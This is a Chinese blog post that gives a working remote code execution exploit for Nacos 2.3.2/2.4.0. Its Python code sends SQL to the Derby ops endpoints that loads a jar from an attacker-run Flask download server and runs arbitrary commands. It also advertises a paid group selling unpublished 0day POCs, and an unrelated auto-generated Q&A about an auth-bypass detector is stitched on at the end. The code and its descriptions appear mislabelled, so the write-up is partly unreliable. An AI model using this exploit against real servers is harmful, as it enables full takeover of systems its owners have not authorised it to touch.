0day nacos RCE命令执行漏洞复现含POC

 0x01 阅读须知

        技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他,如有侵权请联系删除!!!

0x02 产品概述

      NACOS是 一个开源的服务发现、配置管理和服务治理平台,属于阿里巴巴的一款开源产品。。

0x03 漏洞描述

        RCE(Remote Code Execution,远程代码执行)漏洞是指攻击者能够在远程服务器上执行任意代码的安全漏洞。此类漏洞通常会让攻击者完全控制受影响的系统,导致严重的安全问题。

fofa

nacos

0x04 POC利用

环境准备:下载nacos2.3.2或2.4.0版本,解压。

使用 startup.cmd -m standalone 启动nacos 

POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖 

1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,项目里放了一个接收参数执行java命令的

2.执行exploit.py,输入地址和命令即可执行。

项目地址

https://github.com/ayoundzw/nacos-poc

Nacos 是 Alibaba 开源的一款用于微服务架构的注册中心和配置中心。它为开发人员提供了轻量级的服务发现和配置管理功能。

图片

图片

影响范围

nacos 2.3.2nacos 2.4.0其他版本不确定nacos 0day 需要登录到后才才能利用

代码分析

Service.py 漏洞利用函数


def exploit(target, command, service):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id, service=service)
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id, cmd=command)
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command)
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break
removal_url 和 derby_url:构建用于发送请求的URL。for i in range(0, sys.maxsize):无限循环,直到成功利用漏洞。id:生成一个随机字符串,用于标识SQL注入的payload。post_sql:构建SQL注入的payload,安装一个恶意的Java函数。option_sql:构建SQL语句,利用恶意函数执行命令。get_sql:构建SQL查询,执行命令并获取结果。requests.post:发送POST请求,上传恶意SQL。requests.get:发送GET请求,执行命令并获取结果。

主函数


if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:calc:') or command
    exploit(target=target, command=command, service=service)
service:构建下载恶意Jar文件的URL。target 和 command:从用户输入获取目标URL和要执行的命令。exploit:调用漏洞利用函数。

Exploit.py

payload 是一个Base64编码的字符串,表示一个压缩文件(ZIP文件)

创建Flask应用
app = Flask(__name__)
创建一个Flask应用实例。

定义路由和视图函数


python
@app.route('/download')
def download_file():
    data = base64.b64decode(payload)
    response = Response(data, mimetype="application/octet-stream")
    # response.headers["Content-Disposition"] = "attachment; filename=file.bin"
    return response

定义一个路由 /download,当用户访问这个URL时,调用 download_file 函数。

data:将Base64编码的 payload 解码为二进制数据。

response:创建一个HTTP响应对象,包含解码后的数据,并设置MIME类型为 application/octet-stream(表示二进制文件)。

response.headers["Content-Disposition"]:可以设置响应头,指示浏览器将内容作为附件下载,并指定文件名(这里被注释掉了)。返回响应对象。

Flask应用程序提供了一个简单的文件下载服务。用户访问 /download 路由时,服务器会返回一个解码后的二进制文件。这个文件最初是通过Base64编码存储在 payload 变量中的。应用程序的主机和端口信息从 config 模块中读取

关联漏洞

用友-nc-cloud-blobRefClassSea反序列化.docx

朗新天霁ehr-GetShortMessage-sql注入漏洞.docx

中科聚网信息技术有限公司一体化运营平台importVisualModuleImg接口存在文件上传漏洞.docx

同享TXEHR V15人力管理管理平台DownloadFile存在任意文件下载漏洞.docx

14Finger多个漏洞.docx

早加入早享受,即将涨价到129元!

👉地址1 >>>点击直接加入星球获取更多未公开漏洞POC

👉此地2 >>>点击全面了解星球内部VIP介绍获取更多0/1day漏洞POC-末尾加入星球

需要加入内部知识星球可点击上方链接,资源包含但不限于网上未公开的1day/0day漏洞2024 更新漏洞POC共950+2024最新SRC/CNVD/Edu实战挖掘技巧报告,红队内网横向渗透,代码审计,JS逆向,SRC培训等课程。圈子对新人友好,加入圈子拥有FOFA shadan 360Quake ZoomEye Tide 零零信安 Hunter Ctfshow等等高级会员账号,SRC文档,武器库。圈子里面资料价值至少在10K以上,目前星球内部主题600+,资源2000+,其他和网盘资源1w+并持续更新中!!

内部VIP专属0day速查漏洞库-每日更新汇集全网0/1day POC

2024更新的0day/1day(包含公开和未公开漏洞-仅列举部分)漏洞整理更新至950+需要的加入星球获取

​​​​​

一些漏洞报告200+(仅列举部分)加入星球获取更多资源及视频资源持续更新中!

​​​

​​​

        需要加入内部知识星球可点击上方链接,资源包含但不限于网上未公开的day漏洞(更新漏洞POC共500+),2024最新企业SRC/CNVD/Edu实战挖掘技巧报告,红队内网横向渗透,代码审计,JS逆向,SRC培训等课程。圈子对新人友好,加入圈子拥有FOFA shadan 360Quake ZoomEye Tide 零零信安Hunter等等高级会员账号,SRC文档,武器库。圈子里面资料价值至少在10K以上,目前星球内部主题500+,资源2000+,其他和网盘资源1w+并持续更新中,越早加入价格越低

  • 24
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: Nacos是一种开源的配置中心和服务发现平台,可以帮助开发者更方便地管理微服务架构。然而,最近在Nacos中发现了一个名为身份认证绕过的漏洞,这使得攻击者可以绕过身份验证,执行恶意操作。 为了帮助企业和个人快速检测到这个安全漏洞,并采取相应的补救措施,一些安全研究者开发了批量检测POC。这个POC利用公开的漏洞信息,测试Nacos的登录和注册功能,以确定Nacos是否存在身份认证绕过漏洞。 使用这个批量检测POC,用户可以将所有的IP地址列表保存到一个文本文件中,然后通过简单的命令行选项传递该文本文件的路径。这个POC将自动扫描并验证每个IP地址是否容易受到身份认证绕过漏洞的攻击。 总体来说,这个批量检测POC提供了一种简单、快速、有效的方式,帮助企业和个人识别并修复Nacos中的身份认证绕过漏洞,从而提高系统的安全性和可靠性。同时,这也反映了业界对于技术安全的持续关注和努力。 ### 回答2: nacos是一个云原生的动态服务发现和配置管理平台,但是在nacos中存在着身份认证绕过漏洞,攻击者可以通过此漏洞直接绕过身份验证,获取到nacos的管理权限。为了防止此漏洞被滥用,需要及时对其进行检测和修复。 Nacos身份认证绕过漏洞批量检测可以采用Poc技术进行,Poc即Proof of Concept,意为概念证明。通过编写Poc代码,可以在不影响正常运行的情况下,模拟攻击行为,发现漏洞并进行修复。 对于nacos身份认证绕过漏洞批量检测Poc,可以通过以下步骤实现: 1. 首先,确定目标,即需要检测的nacos服务地址。可以通过搜索引擎、网络扫描等方式获取目标。 2. 编写Poc代码,对目标进行检测。具体步骤如下: (1)通过无需认证的接口验证目标是否存在身份认证绕过漏洞。 (2)如果存在漏洞,则可以使用管理员权限执行恶意操作,如读取、修改、删除配置文件等。 3. 对漏洞进行修复。修补漏洞的方法是将nacos系统更新至最新版本,并且配置正确,以避免任何安全问题。 通过进行nacos身份认证绕过漏洞批量检测Poc,可以及时发现和修复nacos系统中的漏洞问题,从而提高系统的安全性和稳定性。同时,作为云原生的重要组件之一,nacos系统的安全问题也需要得到更高的重视和加强保护。 ### 回答3: Nacos是一种开源的分布式服务发现、配置和管理平台,最近出现了一个身份认证绕过漏洞。攻击者可以利用该漏洞绕过Nacos的身份验证,实现未经授权访问敏感信息或执行恶意操作。为了增强安全性,开发人员需要尽快修补漏洞。 为方便安全研究人员和开发人员识别漏洞,可以使用批量检测pocpoc是Proof of Concept的缩写,通常是指一段代码或脚本,用来验证漏洞是否存在的可复现方式。通过使用poc,可以确认漏洞的确存在,便于修复。 对于Nacos身份认证绕过漏洞,可以使用poc进行批量检测。首先需要构造一份包有效用户名和密码的列表,然后使用pocNacos进行检测。如果检测到漏洞,则会产生警报或输出,方便管理员及时修复漏洞。 因此,在使用Nacos时,开发人员需要及时修复漏洞,并通过poc等方式进行漏洞检测,以便及时发现和修复其他潜在的安全漏洞,提高系统的安全性和可靠性。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值